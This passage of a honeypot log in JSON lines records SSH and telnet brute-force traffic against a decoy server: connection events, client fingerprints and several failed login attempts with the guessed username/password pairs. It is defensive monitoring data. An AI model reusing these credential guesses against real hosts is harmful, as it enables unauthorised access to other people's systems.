0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:19:55.082192Z","src_ip":"103.24.63.85","session":"b2c662dcbc51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59258,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e42a302f6f2","protocol":"telnet","message":"New connection: 192.119.13.58:59258 (10.17.0.5:23) [session: 6e42a302f6f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:19:55.911607Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:19:55.983881Z","src_ip":"103.24.63.85","session":"b2c662dcbc51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.181.124.9","src_port":55582,"dst_ip":"159.203.135.109","dst_port":22,"session":"f92758889653","protocol":"ssh","message":"New connection: 5.181.124.9:55582 (159.203.135.109:22) [session: f92758889653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:19:56.358811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:19:57.068702Z","src_ip":"5.181.124.9","session":"f92758889653","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:19:57.162559Z","src_ip":"5.181.124.9","session":"f92758889653","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:19:57.661720Z","src_ip":"103.24.63.85","session":"b2c662dcbc51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"219.94.82.131","src_port":50588,"dst_ip":"10.17.0.5","dst_port":23,"session":"da30a519402e","protocol":"telnet","message":"New connection: 219.94.82.131:50588 (10.17.0.5:23) [session: da30a519402e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:19:59.561030Z"}
{"eventid":"cowrie.session.closed","duration":44.359946489334106,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:00.880223Z","src_ip":"192.119.13.58","session":"0f5f835d382d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53994,"dst_ip":"10.17.0.5","dst_port":23,"session":"e31bb108b6cf","protocol":"telnet","message":"New connection: 192.119.13.58:53994 (10.17.0.5:23) [session: e31bb108b6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:02.160040Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57488,"dst_ip":"10.17.0.5","dst_port":23,"session":"80e4bea3b0d6","protocol":"telnet","message":"New connection: 192.119.13.58:57488 (10.17.0.5:23) [session: 80e4bea3b0d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:03.175017Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58420,"dst_ip":"10.17.0.5","dst_port":23,"session":"8821593497b1","protocol":"telnet","message":"New connection: 192.119.13.58:58420 (10.17.0.5:23) [session: 8821593497b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:03.481303Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33808,"dst_ip":"10.17.0.5","dst_port":23,"session":"e170e26b5078","protocol":"telnet","message":"New connection: 192.119.13.58:33808 (10.17.0.5:23) [session: e170e26b5078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:04.571142Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":53342,"dst_ip":"159.203.135.109","dst_port":22,"session":"beed161786d9","protocol":"ssh","message":"New connection: 103.24.63.85:53342 (159.203.135.109:22) [session: beed161786d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:12.143856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:12.276853Z","src_ip":"103.24.63.85","session":"beed161786d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:12.452675Z","src_ip":"103.24.63.85","session":"beed161786d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.438105344772339,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:12.999014Z","src_ip":"219.94.82.131","session":"da30a519402e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:13.203761Z","src_ip":"103.24.63.85","session":"beed161786d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":45978,"dst_ip":"159.203.135.109","dst_port":22,"session":"49b7fbd3db23","protocol":"ssh","message":"New connection: 77.94.47.83:45978 (159.203.135.109:22) [session: 49b7fbd3db23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:13.884963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:13.892983Z","src_ip":"77.94.47.83","session":"49b7fbd3db23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:14.022274Z","src_ip":"77.94.47.83","session":"49b7fbd3db23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oleg","message":"login attempt [root/oleg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:14.401290Z","src_ip":"77.94.47.83","session":"49b7fbd3db23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:14.408828Z","src_ip":"103.24.63.85","session":"beed161786d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:15.530817Z","src_ip":"77.94.47.83","session":"49b7fbd3db23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcdef1234","message":"login attempt [root/abcdef1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:18.067336Z","src_ip":"5.181.124.9","session":"f92758889653","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.0","message":"Connection lost after 24.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:20.372318Z","src_ip":"5.181.124.9","session":"f92758889653","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.39041543006897,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:23.982688Z","src_ip":"192.119.13.58","session":"446ace0cd606","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":60894,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddda92365bd4","protocol":"ssh","message":"New connection: 103.24.63.85:60894 (159.203.135.109:22) [session: ddda92365bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:28.196843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:28.282559Z","src_ip":"103.24.63.85","session":"ddda92365bd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.202096939086914,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:28.300941Z","src_ip":"192.119.13.58","session":"30eb65e6ac38","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:28.427194Z","src_ip":"103.24.63.85","session":"ddda92365bd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsearch","password":"elsearch","message":"login attempt [elsearch/elsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:29.421766Z","src_ip":"103.24.63.85","session":"ddda92365bd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:30.617308Z","src_ip":"103.24.63.85","session":"ddda92365bd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.05577492713928,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:39.230602Z","src_ip":"192.119.13.58","session":"80e4bea3b0d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.400891065597534,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:42.312371Z","src_ip":"192.119.13.58","session":"6e42a302f6f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.786288022994995,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:45.267460Z","src_ip":"192.119.13.58","session":"8821593497b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":36275,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f83d0628238","protocol":"ssh","message":"New connection: 103.24.63.85:36275 (159.203.135.109:22) [session: 0f83d0628238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:46.359506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:46.364603Z","src_ip":"103.24.63.85","session":"0f83d0628238","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:46.570433Z","src_ip":"103.24.63.85","session":"0f83d0628238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"123456","message":"login attempt [nginx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:47.177156Z","src_ip":"103.24.63.85","session":"0f83d0628238","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.71552777290344,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:47.875413Z","src_ip":"192.119.13.58","session":"e31bb108b6cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:48.382505Z","src_ip":"103.24.63.85","session":"0f83d0628238","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.70603060722351,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:50.277027Z","src_ip":"192.119.13.58","session":"e170e26b5078","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58378,"dst_ip":"10.17.0.5","dst_port":23,"session":"717b8ca7c8ad","protocol":"telnet","message":"New connection: 192.119.13.58:58378 (10.17.0.5:23) [session: 717b8ca7c8ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:20:51.091591Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44660,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a18beed93ed","protocol":"telnet","message":"New connection: 192.119.13.58:44660 (10.17.0.5:23) [session: 7a18beed93ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:01.161333Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35162,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8b63266f656","protocol":"telnet","message":"New connection: 192.119.13.58:35162 (10.17.0.5:23) [session: b8b63266f656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:05.802358Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39428,"dst_ip":"10.17.0.5","dst_port":23,"session":"05735023cae7","protocol":"telnet","message":"New connection: 192.119.13.58:39428 (10.17.0.5:23) [session: 05735023cae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:06.935251Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51154,"dst_ip":"10.17.0.5","dst_port":23,"session":"86591082c49c","protocol":"telnet","message":"New connection: 192.119.13.58:51154 (10.17.0.5:23) [session: 86591082c49c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:10.014969Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47466,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7b0d06f3eff","protocol":"telnet","message":"New connection: 192.119.13.58:47466 (10.17.0.5:23) [session: e7b0d06f3eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:16.390486Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":46940,"dst_ip":"159.203.135.109","dst_port":22,"session":"5486fd709189","protocol":"ssh","message":"New connection: 51.250.105.222:46940 (159.203.135.109:22) [session: 5486fd709189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:18.866827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:18.871669Z","src_ip":"51.250.105.222","session":"5486fd709189","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:19.011642Z","src_ip":"51.250.105.222","session":"5486fd709189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:19.424856Z","src_ip":"51.250.105.222","session":"5486fd709189","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":22074,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2de09d7c996","protocol":"ssh","message":"New connection: 103.24.63.85:22074 (159.203.135.109:22) [session: e2de09d7c996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:20.220115Z"}
